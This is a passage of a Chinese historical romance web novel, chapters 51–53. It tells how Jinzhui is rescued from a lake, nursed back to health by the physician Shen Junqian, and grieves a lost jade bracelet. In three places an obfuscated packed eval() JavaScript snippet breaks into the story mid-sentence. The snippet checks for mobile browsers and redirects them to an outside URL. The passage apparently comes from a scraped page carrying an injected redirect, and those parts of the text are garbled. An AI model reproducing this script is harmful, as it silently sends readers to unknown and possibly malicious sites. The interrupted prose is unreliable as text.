救下金坠的那位陌生郎君款款致礼,只说途中因故耽搁,抱歉未能如期来访。金坠刚被他从水里捞起来,初来乍到,还有些失魂落魄。比丘尼见她浑身湿漉漉的,送来一盏热姜茶给她暖身,又带她去更衣。她褪去湿透的丝绸罗裙,换上散发着檀香的棉布禅衣,方觉身心焕然一新,充满了前所未有的宁静。 夜色静谧,寺院中月光如水,金坠全无困意,踏着满庭白霜般的清光漫步出户。前方佛殿中隐隐有光,却非烛光,而是一种胜似星月的天然清辉,仿佛万千流萤飞舞照夜。循光而行,远望见佛殿之中高供着一尊翡翠玉像,通体晶莹若镜,内外明澈,兼具霜雪之皓白与海天之凝碧,几如银河星落,不似世间所有——那便是这无量光明的来源。 她似只初生在夜里的灯蛾儿,下意识向那光亮扑去。进得佛殿,只见带她来此的那陌生郎君独立此间,出神地仰望着供于佛龛中的翡翠神像。先前由白马驮着的那只黑檀木匣空放在一旁,原来其中装载着这样一件法宝。 金坠轻步上前,望着那姿容婀娜的玉像,悄声问他:“这是观世音菩萨么?” 他闻声吃了一惊,回首见是她,颔首微笑:“观世音菩萨有三十三化身,这是水月观音之相。” “这是用什么玉雕成的?” “滇西翡翠谷寻得的冰魄翡翠。很罕见的色泽吧?据说世上寻不出第二块相同的。我刚发现它的时候,竟以为是明月落到了人间,忍不住请了回来……” 正说话间,女住持慧空前来见客,肃然合十道: “灵玉殊胜,正合观世音菩萨之微妙宝相。承蒙敬造之德,然鄙寺寒陋,恐难供奉如此贵礼……” 来人躬身还礼,微笑道:“法师言重。先母生前尝于贵寺礼佛,广受福泽,一直想奉请一尊观世音菩萨像于此供养。我今日特来替家母还愿。” 他款步上前,望着那尊翡翠观音像,神情虔敬得有些痴迷。 “此像出自一位大师之手,新成不久,自南国千里运送而来,今日昏时方至,遂星夜携之造访。还请法师为之开点灵光,以圆先母之遗愿。” 慧空法师闻言面露慈悲,应允明早为佛像开光。法师走后,佛殿中只剩下他们二人。一时无言,月华自天河中流泻而下,将他们周身裹上霜雪似的白光。 他侧过身,柔声对她道:“明日一早开光仪式毕,我便要下山了。你家住何处?我顺道送你回去吧。” 金坠如梦初醒,垂首轻语:“不必了……我家不远,自己回去便好。” 他凝眉端量着她:“你也住在帝京吧?此去城中尚有数十里路呢。你若不放心,我便只将你捎至城门口,好么?” 她无由拒绝,只好道了声谢。抬眸偷望着他笼在月光下的面庞,轻轻问道: “你……是何人?” “何人都不是。”他看向她,“你呢?” “凡所有相,皆是虚妄……我也谁都不是。” “那正好。”他微微一笑,“我们是两个萍水相逢的无名氏。相见容易,别亦容易。” 金坠已猜到他身份不凡,想了想道:“可你救了我,我至少得知道你叫什么啊。不如你留个小字吧,日后我好为你抄经祈福。” “桑望。”他仍是微笑。 “桑望……?”她觉得这名字颇为奇怪,蹙眉复述了一遍。 “我的小字。”他解释道,“是云南苗乡的语言。” 她一怔:“你是从云南来的?” 他摇摇头:“我母亲是。这名字是她为我取的。” “这尊观音菩萨也是从苗疆来的么?” “那是滇西的翡翠河谷,同苗疆是两个方向。云南是个很广阔的地方,居住着许多不同的部族,说不同的语言……母亲来到中原前,从未离开过自己出生的那片山林。她听说滇西翡翠谷的风景与故乡全然不同,一直想去看看,可惜生前未能如愿。” “所以你便替她去了那里?”金坠思绪翩跹,“滇西翡翠谷……那里是什么样?” 桑望抿了抿唇,举目望着高悬于佛殿外的明月,眼底浸染了如水柔光。 “那是我去过的最遥远,也是最美丽的地方。那是一片充满神力的土地……你相信神迹么?” 她半信半疑,于是他便给她讲了一个故事。他说,雕琢这尊观音玉像的翡翠生石其实并非他自己寻得的,而是一位骑着白象的异国人赠给他的礼物。那是一位南国来的王子,他的本名与观世音一样,在他的国度只有最尊贵之人方能与菩萨同名。 “南国?还有比云南更南的国度么?” “当然有。那位王子告诉我,他的故乡一年四季都是夏天,树林里长满比山还高的草木,夜里四处是发光的奇花,各色彩羽的野鸟用人声吟唱佛经,还有一条流淌着翡翠的大河,河里的莲叶比车轮还大……他当初便是沿着河流来到了云南。” 桑望说,那位王子本是入滇来求教佛理的,却在半道遭了劫,身无分文,与当地穷苦百姓一道流落到滇西的翡翠河谷,被玉石商人逼迫去河底寻玉。翡翠都包裹在黑灰的石衣中,乍看与砂石无异。残暴的监工用刀斧一块块劈开他们下河挖上来的生石,若里面不是玉,便用带刺的藤条抽打他们,克扣他们的水食。他在那里遇见他们时,许多人淹死病死,不乏老者与妇孺,尸骸像乱石一般堆满了烈日下的河滩。于是他用收购最好的翡翠的价格买下了所有被劈开的石头,也为所有还活着的人赎了身。那些玉商都笑他疯了。 “我离开前的那天夜里,半睡半醒间,面前忽然出现一只小白象。象背上下来一位与我年岁相仿的青年,抱着一块黑石递给我。他的 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“那位王子告诉我,这样的玉石在他的国度是神佛恩赐的圣物,只有得道高僧才可拥有它做法器。他让我将玉石带回去雕琢成自己喜爱的样式,但要留一小片刻上我自己的名字。日后我若有难,便将那玉片作为信物装瓶扔进翡翠河,它会沿着河流漂到他的国家。王子说,他此行若顺利归国便是国王了。他的国家有千万头象,能驮起建造最宏伟的佛寺所用的石块,也能将万顷之地瞬间踏成平地。只要我寄出信物,无论何时何地,他都会乘着象赶来助我……说完他便与他的坐骑一同消失在了月光下。” 他的故事至此便讲完了。他没有问金坠是否相信他说的这一切,望着那尊绿莹莹的神像喃喃自语: “滇西翡翠谷……回来后我时常会梦见那里。那真是个美丽的地方。我想那位王子的故国,他说的那条流淌着翡翠的大河一定更美。佛经上所说的彼岸净土一定就在那里。” “那你为何不留在那里?”金坠听得入了迷,“中原一定没有你说的那些神迹……” 他的眼底掠过一丝不易察觉的黯然。莞尔一笑,敛容道: “佛经云:‘应无所住,而生其心’——我早已将那儿的一山一水留在心里,无论身在何处,都像并未走远。” 语毕,将浸着月色清辉的目光移至她面上,仿佛正凝望着心田深处的景象。那双眼睛与他面前那尊观世音像如出一辙,美得令人不敢与之对视。 金坠匆匆低下头,自言自语道: “可我只想离开,到一个很远很远、无人认得的地方去。要是我也能去云南就好了。我也想亲眼瞧瞧你这尊观音菩萨的故乡,去河滩上摸摸那些翡翠石,见一见那位骑着白象的南国王子……” 她轻叹一声,惊觉自己净在说傻话,慌忙缄了口。一时无言,忽听他说道: “这块翡翠生石还余下一些。若是不嫌,来日我雕琢好送给你。望着它,或许便可见到你心中的风景了。” 金坠一惊:“你救了我的命,我还没报答你的恩情,怎好让你送我礼?况还如此贵重……” “你好好活着,便是对我莫大的答谢了。” 他浅笑着,用那双凝望过翡翠与月光的眼眸注视着她,温柔而笃定地说道: “相信我,人世间原是很美的。愿你也能看见。” 51.度苦海 “坠姊姊!坠姊姊!” 盈袖狂奔到船舷边,眼见金坠挣扎着沉入湖中,慌忙高呼: “她不会水!快救人啊!” 崔衙内那一班纨绔见金坠竟跳了湖,皆吓得酒醒,忙围上前察看。此刻风浪已止,湖面上除了无穷无尽的荷叶及那三座石塔,哪里还有半点人影儿? 崔衙内也慌了神,吩咐众人:“你们谁下去救她,我有重赏!” 帮闲们连连摇头:“这湖深得很,荷塘底下尽是淤泥,恐不好救!” 崔衙内怒斥:“让你们耍酒疯!这下淹死了人,我可怎么交代!” 众人面面相觑,都怨这小娘子恁般开不得玩笑,又没碰她分毫,竟连命都不要了,好一个贞洁烈妇!盈袖失声痛哭,从船上探出身去,眼见也要跟着跳湖。崔衙内一把拽住她,好言安慰不已。乱作一团时,一人忽指着对面道: “快看——有人下去救她了!” 众人遥遥望去,只见对面湖心岛沿岸忽出现个人影。但见他毫不犹豫,将外衣脱在岸上,径自跃入湖中,往金坠刚落水的荷塘里游去,须臾沉下水面。众人见状,纷纷为之高呼鼓劲。过了半晌,荷叶簌簌拂动,那人从水中探出头来,双手仰抱着昏迷的金坠,匆匆向画舫游来,不一会儿便到了船边。 船上众人急忙为他放下绳索。救人者一手攀绳,另一手架着金坠,十分轻巧地攀上了船。这是个二十多岁的青年,身材精瘦,面色黧黑,头上并未蓄发,当是个僧人。轻轻将金坠放在甲板上,并不说一句话。 众人喜出望外,忙吩咐画舫掉头回去,对那浑身湿透的英雄赞不绝口。崔衙内如见了活佛,大手一挥捧上一包银子要布施与他。那青年并不去接,倏地抬起头,两只无光无神的眼珠直勾勾地瞪着;面颊上一长道月牙形的刀疤则似第三只眼,一并森然逼视着万物,好像刚从阎罗地府里回来。 众人被那罗刹般的形貌慑住,尚未询问其法号,却见他转身跃入湖中,鸥鹭也似地消失于湖心岛沿岸一片芦苇丛里。 船上一片哗然,崔衙内扯着公鸭嗓道: “好一个事了拂身去!不知哪儿来的过江罗汉,真个是鬼面佛心,苦海渡人!” 金坠昏睡在甲板上,双眸紧闭,面色惨白,湿透的身子在湖风中瑟瑟颤抖。盈袖忙脱下自己的外衣替她盖上,唤了数声无果,不禁心焦啜泣,嘶声催促让船开快些。崔衙内自不敢怠慢,连催数回,画舫终于乘风破浪,从湖心疾驰回了清波门码头。 宛童早已在岸边伸长了脖子,望见金坠湿漉漉地被人从画舫上抬下,箭步上前,抱着她唤了几声“五娘”,嚎啕大哭起来。 崔衙内嚷道:“嚎什么丧!耽搁了你家娘子送医,我可担待不起!” 众人合力将金坠送上马车。崔衙内吩咐众帮闲去寻熟识的名医来,一人提议道: “药局距此不远,何不直接将小夫人送去,好让她家那位亲自诊治?都说那沈学士医术高明,若真有个万一,谁也不好多说什么……” 崔衙内觉得有理,遂吩咐马车径直去往杭州药局。盈袖和宛童上了车,抹着眼泪,陪金坠一同前去。须臾到了药局,盈袖率先跳下车去开道。 适逢浴佛节庆,药局外摆出了个茶摊,为百姓免费分发凉茶,门前自是人头攒动。盈袖闯入人群,恰与正忙着打凉茶的梁恒撞了个正着。她哼了一声,冷冷道:“你怎么在这儿?” “正是工时,我不在这儿还能在哪儿?你又怎么……” 梁恒话没说完,盈袖从他手上抢过刚打好的一碗凉茶一饮而尽,旋即冲进药局去找君迁。一个医官见她没来由地大呼小叫,上前道: “沈学士正在药库中与大家讲解药理,目下正忙呢……” 盈袖不待他说完,径自闯入后堂药库。梁恒忙跟上前去,惹得那医官在一旁向他嘟囔: “令正不会又从哪儿听到了什么流言蜚语,专程来捉奸的吧?” 药库中此时聚了好些人,正众星拱月般围在药架旁,专心听君迁讲解药理。突遭盈袖一扰,皆抬起头来。盈袖跑向君迁,未语先泪,低低道: “沈学士,坠姊姊她、她从船上……都怪我不好!你快去看看她吧!” 君迁面色一沉,不待她说完匆匆而去。众人忙跟随他出去,只见金坠已被医官们抬进一间诊室,正裹着被褥昏睡在榻上发颤。 君迁疾步上前跪在塌前,拍了拍她冰凉的面颊,低唤几声,见她并无反应,一把扯开她湿漉漉的衣带,俯下身去覆住她的唇。 盈袖在一旁嚷道:“都什么时候了,你别只顾着亲她呀!亲得醒吗!” 梁恒道:“嘘,这是在救她呢!” 君迁轻仰着金坠的头颅,一面向她口中纳气,一面揉着她的腹部,按压出胸腔中沉积的湖水。半晌,金坠动了一动,弓起身子咳了一阵,吐出一口水。君迁松了口气,忙取来帕子为她拭了拭脸,回头对梁恒道: “桂心三分,姜二分,佐粥清水煎服。” 梁恒应声而去,不久便取了药来。君迁接过热汤药吹凉,见金坠昏睡无力,将她从塌上微微抱起,含着汤药一口口喂入她唇中,直至她能自行吞咽。金坠饮下清肺濡喉的粥清桂心汤,渐渐苏醒过来,嘴唇动了动,似有所言。 君迁柔声道:“你想要什么?” 她在他怀里嗫嚅了一句。君迁未听清楚,轻轻将她的面颊贴在自己耳畔,方听见她说的是: “……我想回家。” 君迁一怔,紧拥着她瑟瑟轻颤的肩:“好,我们回家。” 回到家后,金坠当晚便发起了高烧。在榻上躺了三天三夜,浑身时冷时热,忽而如坠冰窟,忽而如堕火山。眼前所见亦是影影绰绰,光怪陆离,梦魇不断;口中喃喃梦呓,谵语连连,极少有清醒的时候。 宛童寸步不离地守在榻前,遵循君迁的叮嘱,一日数回替她擦拭身体,更换额上冷巾。第四日子夜,金坠终于转醒过来。迷迷糊糊地起身,见宛童正伏在榻前熟睡,不忍吵她,强撑着下了床。 金坠走到窗边,只听得外间铃虫低鸣,十分幽寂。仰脸瞥见一轮圆月高悬在天上,清凛凛的,虽是初夏时节,仍不禁打了个冷颤。 “五娘醒了?快回塌上来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273569|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫再受凉了!” 宛童听见动静,惊醒过来,忙跑来关上窗子,将金坠扶回塌上。 “五娘可算醒了,这几日可吓坏人了……” “我没事,做了场长长的噩梦罢了。” 金坠淡淡一笑,轻咳了几声。宛童蹙眉道:“五娘身上可好些了?要不我去唤沈学士来……” 金坠摇摇头:“这都几时了?明日再说吧。” “也是。五娘昏睡的这三日,沈学士也没怎么合眼,都在家亲自熬药照顾你呢!昨夜你发了梦魇,一直说些吓人的话,抱着他不肯放,他便在塌前陪了你一宿,天亮了又赶去药局,我真怕他也跟着倒下了……” 金坠一怔,努力回想自己昏睡时的光景,却如何也想不起来,低低问道:“我神志不清,都说了些什么胡话?” “你说了好多呢,一会儿是什么水里的月亮,一会儿又是什么山上的花草,神神叨叨地,可把人听迷糊了!” 宛童叹了口气,忧心忡忡地望着她: “五娘,那日在船上究竟发生什么了,可有被人欺负?那崔衙内真可恶,还愣说是你自己跳湖的……” “他说的没错。是我自己不小心跳下去的……” 金坠低下头,瞥见自己苍白的左腕,心中一凛,忙掀开枕头四处摸索,却只在枕下看到母亲手绣的那只锦囊。原本装着翡翠镯的囊中空空如也。她回想起生日当天所遇,如遭雷殛,呆在原处发着怔。 宛童关切道:“五娘这是怎么了?” “……没什么。”金坠回过神,问道,“那日我失足落水,你可知是谁救的我?” “罗娘子说是个和尚。他正巧在湖心岛上看见你落水,便跳进湖里救了你,一句话没说便走了。阿弥陀佛,万幸遇上个好心的活菩萨,让我家五娘在生日逃过一劫!” 宛童合十对着头顶拜了拜,起身道:“五娘好生休息,我去替你端药来!沈郎叮嘱过一日要喝三回呢。” 金坠垂眸不语,捧着那只空锦囊发怔。眼前蓦地一晕,转鹭灯似的现出种种幻象—— 须臾是生日那天落水后,那只翡翠镯子在水下淤泥中闪出的幽光,仿佛那是三潭石塔映照出的第三十三个月影;须臾是浴佛节当日,金浪似盛开在伽蓝外的萱草花,以及闹市上那突如其来的一吻;须臾,又似看见了昨夜梦魇时分依偎在君迁怀里紧紧抱着他的情景…… 她心中一悸,回过神来。心中凄楚酸涩,还有种说不清道不明的恼恨,七分对自己,三分对宿命。 偏偏在这日,在她生辰当日这一悲过于喜的时刻,她又如十四岁那年一般,满怀幽怨地自投冥河。彼时元祈恩救下了她,为她戴上那只翡翠镯子。她曾视之如命,却在他谢世仅仅百日之后便丢失了它。 那镯子是由雕刻寂照寺的那尊水月观音像所余的石料琢成的,由一位骑着白象的南国王子所赠。那是明月落入人间的碎片,天人泪水凝结的灵玉。她许诺将永世珍藏它,正如她曾在佛前立誓将矢志不渝地爱着它的物主。可是…… 她再不信命,亦不得不疑心是神佛对她背弃盟誓的惩戒。 52.指连心 金坠因丢了镯子失魂落魄,忽念及一事,匆匆起身翻箱倒柜,从绣案底下取出一幅先前绣了一半的绣图来:温暖的月夜,发光的奇花,还有一只金鞍小白象。 这正是元祈恩曾向她描述的南方佛国净土的奇景,她原打算在殿下今岁生辰时绣完送给他。画两侧的翡翠葛花已全部绣完了,似一只只青蓝色的鸟儿呼之欲出,环绕着画心处的一片空白,那是为那只还未绣上去的小白象准备的。她从未见过佛经上说的这种南国瑞兽,不知如何下手,便一直搁置至今,几乎都快忘了它。 金坠悲叹一声,任凭宛童端来的药凉在案头,取出针线,报复一般向那幅许久未动的绣图刺去。撑着病体埋头绣了一夜,天光渐亮时,眼皮已不住打颤。屋外忽有足音轻响,有人叩了叩门。金坠当是宛童又来催她喝药,正要敷衍,抬头见到的却是君迁。 窗棂飞白,将初升的曦光笼在他清隽的面庞之上,一时显得有些陌生。她愣了愣,淡淡对他道了句日安,复又埋头刺绣。 君迁温言回了日安,顿了一顿,问道:“你好些了么?” “……好多了。” “宛童说你不愿喝药。” “太苦了,我喝不下。” “你还病着。” “我已睡了三日,不累。”金坠只顾埋头刺绣,“再说我还得赶工,休息不得。” 君迁走到她面前,柔声道:“那你将药喝了再绣吧。” 金坠故作冷淡:“我喝不喝药,与你有什么干系?” 君迁道:“那是我开的药,自然有干系。” 金坠冷笑一声,端起案边凉透的汤药,赌气似的一饮而尽,将空碗搁在他面前。 “可满意了?” 话音未落,却急促地猛咳起来。君迁忙从怀里取出帕子递给她。金坠视若不见,一面咳嗽,一面又拿起针线来。君迁叹了口气,蓦地伸手轻夺过她的绣布。金坠一怔,从他手里抢回来,怒气冲冲道: “你做什么!我都说了要赶工……” 她紧攥着长绣针,狠狠往绣布上戳去,指尖一颤,却将针扎到了自己左手的虎口上。吃痛轻呼,来不及移开手,只见鲜血一滴滴从指尖淌落,慢慢在绣布正中的空白处晕开。 金坠呆了半晌,直勾勾盯着君迁,幽幽道:“你毁了它。明明很快就能绣好了……” 君迁垂目望着那幅被鲜血洇透的绣作,沉声道:“你绣这个,是为了赶哪一份工?” 金坠不作声,瞪了他一眼。君迁直视她:“你打算如何给他?烧掉?” 金坠一怔,冷冷道:“与你何干?” “你觉得他乐意见你这般么?”君迁淡淡道,“倘若是我,是绝不愿见到心爱之人为自己平白受苦的。” “可你不是他!”金坠倏地红了眼圈,“你我究竟是什么关系,要你这般管我?” 君迁欲言又止,只道:“你是我的病人。我只希望你的病好起来。” “我也想好起来。可就算我身上的病好了,心里的也好不了……” 金坠闭上双眼,轻抚着那幅染了血的绣图,双手捂面,落下几滴泪来。片刻,仰起脸来看着君迁,哽着声儿道: “对不起,我不应对你乱发脾气的……这几日有劳你照顾我。” 君迁莞尔:“你若想谢我,就记得按时喝药。我最怕不遵处方的病人。” “你是在心疼我,还是心疼你的药?”金坠白他一眼,“放心,我说过我不是言而无信之人,在还清你的聘金之前我是不会死的!” 君迁一哂:“你也安心,我非视财如命之人。等你养好了病,再慢慢还不迟。” 金坠不声不响,将自己仍在淌血的虎口放在口中吮了吮。君迁见状,从怀里取出一块干净的绢帕扯下半道,捏过她受伤的手,坐在塌前将布条细细缠裹好,替她止住了血。 十指连心,疼且痒。金坠一动不动,乖乖让君迁替自己包扎伤口。他边缠布条边说道: “今早崔衙内派人来送礼,我替你回绝了。你不介意吧?” “太不介意了!”金坠翻了个白眼,“我可不想被恶心得再吐一场。” 君迁轻声道:“那日在船上……” 金坠冷笑:“是我自己跳下去的。遭人轻薄羞愤自尽,没丢你的脸吧?” 君迁抬眼望着她:“这便有心思说笑,看来病是真好了。” 金坠撇撇嘴,叹了口气,正色道:“我也不瞒你了——那日我是为了捡一样东西才跳下水的。你知道我丢了什么?” 君迁停下手里的活,凝眉望向她。金坠伸出五指弯曲成环状,扣于自己扔握在他手中的那只伤手的腕间。见他顿悟了,自语一般说道: “我很傻吧?为了一样身外之物,险些把命赔上了。若被人晓得定成了天大的笑话。可对我而言,那只镯子不仅是一件聊寄旧念的俗物。丢失了它,就好像我身上曾经的一部分也不见了。我不知道怎么说……你能明白么?” 君迁凝神听她言毕,沉吟片刻,说道:“人若舍命去做某事,定有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君迁轩了轩眉:“什么?” “我也不知是什么。”金坠低低道,“我只晓得发了场梦魇,眼前真真假假,自己都分不清楚……” “你昨夜的确说了许多梦话。”君迁敛容道,“有一句却并不假。” 金坠一愣,紧盯着他:“哪一句?” “你说这里的月光很亮。”他淡淡一笑,步入屋外一片熹微天光中,“那是真的。” 53.荷叶伞 金坠在家静养了数日,病症渐消,夜里也不发梦魇了。盈袖自从她落水后便自责不已,日日跑来探病,埋怨自己不该任性登上那贼船,连累好姊妹挡灾。乔隽娘得知她病了,也登门探望了一回,见金坠卧病在床仍不忘赶绣活,十分心疼,叮嘱她养好身子前不准回绣坊上工。 至于罪魁祸首崔衙内那一班纨绔子弟,大抵是打听到金坠的身世并不如预想显赫,不仅未来登门赔礼,连信都不曾捎一封来;又因是她夫君亲自诊治,连医药费都省下了,便当做无事发生,照旧乘着那艘双层画舫游西湖去了。这倒令人松了口气,要再看到那些恶心嘴脸,她宁可跳进湖里。 这日拂晓,金坠醒来,推窗见外间微雨初霁,夏色如黛,一时起了游兴,便独自披衣出户,信步闲庭。斜风细细,不时裹来栀子和白兰花的幽香。池畔几株芭蕉已长得很婆娑,油绿发光,翠羽扇似的在夏风中披拂,发出簌簌轻响。草丛中有一团团泛着月色的紫阳花,琉璃一般照在水中,将小院映衬得十分光洁。池中荷叶亭亭如盖,绿伞之上滚着泪珠儿般的雨露,似因无一朵红莲作伴而倍感寂寞。 金坠沿着荷塘迤逦而行,独享着这番幽静。走了不久,天上忽又斜斜下起细雨来。她心血来潮,便在荷塘边俯下身子,想摘一片荷叶当伞撑。 手还未触到最近的那片荷叶,忽觉有人在身后猛地拽她。脚下一滑,整个人失力向后倒去,不偏不倚地倚在沈君迁怀里。 金坠吓了一跳,嗔道:“你干什么呀!” 君迁紧抱着她不松手,反问道:“你在干什么?” 金坠故道:“在投水自尽呢!” 君迁闻言,将她拥得更紧了。金坠被他身上的药香缠得呼吸急促,挣脱不得,索性软绵绵地倚在他怀里,在他耳边幽幽道: “你不会当真以为我要投水吧?” 君迁一怔,明白自己误会了,默默放开她。金坠噗嗤一笑: “放心,我不会的!好不容易被你这位神医救过来,可不好辜负了你的一片心血。再说这池子那么浅,我想死也死不成啊。” 她说着,瞥见方才想摘的荷叶下藏着朵含苞欲放的红莲,便俯身折下那花,连着藕丝一道递给君迁。 “我其实是想摘这朵荷花送你,答谢你的救命之恩。” 君迁笑了笑,有些惋惜地望着那朵仍是蓓蕾的荷花:“这花尚未结出莲蓬,我本想待到下月多收些莲子入药的。” 金坠白他一眼:“你晓不晓得,你这样很不解风情?换做别人,定会高高兴兴地收下这花,再赋诗一首留作纪念呢。” 君迁淡淡道:“我不是别人。” “……我晓得你不是。”金坠攥着那枝早开的荷花在他眼前晃着,“你究竟收不收我的花?不收我就扔了!” 君迁接过花去,抿唇道了句多谢。俄而雨势渐大,层层叠叠落入荷塘,打得满池莲叶簌簌摇曳,亦将他们二人的水中倒影搅得一片朦胧。君迁赶忙伸手替金坠挡雨,道:“回去吧。” 金坠点点头,俯身从池边折下唯一够得到的那片荷叶撑在头顶,仰脸问他:“一起撑吧?” 君迁摇头:“这伞太小,还是你独自撑吧。” 金坠不理会,兀自贴近他,将半边荷叶高举至他头上。君迁连忙退开几步:“你病刚好,莫要淋湿了。” “我又不是纸人儿,淋几滴雨可死不了。”金坠将荷叶伞举过去,“看你湿漉漉的我也过意不去,还是一同撑吧!” 君迁拗不过她,接过叶柄撑在彼此头上,自己让出大半个身位,一同并肩小跑回金坠屋中。 雨脚渐密,他们撑着一把小小的荷叶伞从庭院回到房中,免不得淋了些雨。二人在屋檐下收起荷叶,望着串珠儿般从叶上坠落的雨滴,不禁相视一笑。 金坠瞥见君迁大半个身子都淋湿了,忙让宛童取来巾帕替他擦拭。宛童见他急着要走,便道: “这会儿雨那么大,沈郎在屋里待会儿吧!” “时候不早,我需去药局了。” 君迁匆匆拭了拭身上的雨水,回身叮嘱宛童道:“药庐中有我今早制好的驱寒饮,烦请去热下端来。她方才淋了些雨。” 宛童指着他笑道:“沈学士莫非是要攥着这枝荷花去给人看病么?” 君迁一愣,才发觉手里仍握着金坠适才送他的那朵早荷,忙将荷花递给宛童,莞尔道: “我那里没有花瓶,就留在此处吧。” 话音未落,金坠捧着个白瓷净瓶儿走出来,从宛童手上接过那枝荷花插在瓶中,又俯身拾起他们方才做伞撑的那柄湿荷叶递给他道: “你带上这个去,莫再淋湿了。” 君迁一哂,接过刚晾干的荷叶举在头上。宛童在一旁嗔怪:“五娘好小气,那么大的雨,连一把真伞都不肯给沈郎!” 金坠笑道:“你不懂,真伞哪有这池塘里风吹雨打的荷叶伞经用?” 宛童才不理她,回屋取了柄黄罗伞递给君迁。君迁道谢接过,一手撑开真伞,一手将那柄翠绿的荷伞揣在怀中,独自往潇潇夏雨中去了。 金坠在门畔目送着他,直到他的身影消失在雨里,方回身进屋。她将那只插着荷花的白瓷净瓶摆在案头,托着腮儿端详半晌,喃喃自语: “为何你偏不是别人呢?” 雨接连下了一整日,点点滴滴,惹得人睡意丛生。金坠独自在屋中做累了绣活,喝了药便卧床小憩。一觉醒来已是薄暮,窗外仍是雨声淅沥,间杂几声夜虫低鸣,不由心神恍惚,分外寂寥。忽觉下腹隐隐作痛,似有抽搐之感,忙捂着痛处卧回床上。 宛童进屋来送饭,见她面色痛苦,焦急道: “五娘这是怎么了?莫非淋雨受了凉,又发病了?” “倒真是发病了。”金坠掀开被单,“看。” 宛童上前一看,窃笑道:“这种病倒不碍事,我也才发完呢!” 金坠苦笑,弓着身子下榻去洗漱。宛童将染了血的床单换下,又垫了块厚布在上头,扶着金坠慢慢躺回塌上,关切道:“五娘这回很疼么?” “有一些,躺躺便好了。不早了,你也去歇息吧。” 宛童将夕食留在案上,叮嘱几句便走了。金坠哪儿有胃口,捂着肚子卧回塌上,数着窗外雨声,盼着那熟悉的痛意消退。辗转反侧,那抽搐感却愈演愈烈,几乎令她哀呼出声。 她从枕下摸出母亲绣的那只锦囊,捧在手心,想寻些慰藉。原本沉甸甸的囊中空空如也,令人更觉失落。她摩挲着锦囊上密密缝绣的云月纹,忆及往事,不由将脸埋在枕上啜泣起来。 不知捱了多久,门扉轻启。金坠回过头,只见君迁在灯下轻步进屋来,怔了一怔,捂着被子坐起身:“你来做什么?” 君迁走近床榻,轻轻道:“你说呢?” 金坠一愣,慌忙用被子捂紧身体:“你别过来!我不舒服……” “我知道。” “知道你还来?” “我来送药。”君迁将手中的药盏放在案头,十分莫名地望着她,“你以为我想做什么?” “……没什么。”金坠撇过脸去呛了一声,“你又给我送什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297820|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦药来了?” “只是碗姜汤。”君迁揭开碗盖,“宛童说你腹痛,喝了会好些。” 金坠接过他端来的热姜汤,用汤匙轻轻搅着,闻着那冲人的姜味儿,皱了眉头,感叹道: “记得小时候我有一回来月事也痛得死去活来,家里人嫌我吵,叫了个医官来看,只说我是急火攻心气血不通,给我开了去火的药,让我静坐冥想。可我哪里静得下来?后来还是四姊给我熬了碗姜汤,热热的喝下去,果然好多了……可惜姜味儿太冲,难咽得很。” 她说着轻叹一声,有些畏惧地盯着手中的汤碗。君迁只道:“你喝喝看。” 金坠狐疑地啜了一小口,拧着的眉头渐渐舒展开,问道:“你添了什么?” “赤沙糖与蜜枣。调入姜汁可中和其辛,散寒活血的功效亦更好。”君迁道,“还有一味白芍,调理气血、缓急止痛皆有良效。” “难怪甜甜的。”金坠又捧起碗来啜了一口,接过他递来的帕子抹抹唇角,“多谢你的新方子,以后我可不怕喝这玩意儿了!” 君迁在床边坐下,望着她苍白的面容,柔声道:“你每月……都会疼么?” “说不准,隔三差五的。疼倒能忍,主要是麻烦,总得做贼似的偷偷摸摸,生怕弄脏衣物……” 金坠叹了口气,自言自语道: “我常希望世上有种神药,吃了可使女子免受此苦就好了。叔母常说女子生来就要学会吃苦,嫌我娇纵,动不动就喊疼。也就怪女儿家会忍,若换成是男的每月流那么多血,世面上早就大喇喇地发明出一堆补药了……你笑什么?” 君迁敛了笑意,正色道:“没什么,只是觉得你说得颇有道理。” 金坠白他一眼,继续喝姜汤。君迁坐在塌沿,瞥见她搁在枕畔的那只空绣囊,不由凝眸端详。 “我娘为我做的。很漂亮吧?”金坠爱怜地捧起那只绣囊,“当年娘去世后,她所有的东西都被烧掉了,这只锦囊是她唯一留给我的,我一直随身带着。娘曾告诉我,她做好这锦囊时在里头藏了一个法宝,若我长大后遇见迈不过去的难关,打开这锦囊便可解决。娘走后,我曾好几次想打开它,都咬咬牙忍住了。直到今年……” 她顿了顿,声音有些哽咽。 “直到今年,我终于打开了它——那时候我几乎快死了,只盼娘留在锦囊中的妙计帮我渡过难关……可这里面什么也没有。它是空的。” 初闻嘉陵王噩耗时,金坠深陷绝望,母亲留下的这只锦囊几乎成了她唯一的救命稻草。她急不可耐地拆开它,却是雪上加霜—— 